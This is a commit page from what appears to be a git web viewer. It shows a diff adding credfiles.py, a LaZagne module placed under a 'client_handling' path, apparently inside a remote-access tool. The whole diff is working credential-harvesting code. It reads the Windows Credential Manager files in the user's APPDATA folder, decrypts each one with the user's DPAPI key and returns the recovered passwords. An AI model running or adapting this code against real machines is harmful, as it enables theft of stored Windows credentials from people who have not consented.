diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/windows/credfiles.py |
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/windows/credfiles.py')
-rw-r--r-- | foreign/client_handling/lazagne/softwares/windows/credfiles.py | 22 |
1 files changed, 22 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/windows/credfiles.py b/foreign/client_handling/lazagne/softwares/windows/credfiles.py new file mode 100644 index 0000000..7d5a76a --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/windows/credfiles.py @@ -0,0 +1,22 @@ +# -*- coding: utf-8 -*- +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant +import os + + +class CredFiles(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'credfiles', 'windows', dpapi_used=True) + + def run(self): + pwd_found = [] + if constant.user_dpapi and constant.user_dpapi.unlocked: + creds_directory = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Credentials') + if os.path.exists(creds_directory): + for cred_file in os.listdir(creds_directory): + # decrypting creds files (Credman module not allow to retrieve domain password) + cred = constant.user_dpapi.decrypt_cred(os.path.join(creds_directory, cred_file)) + if cred: + pwd_found.append(cred) + + return pwd_found |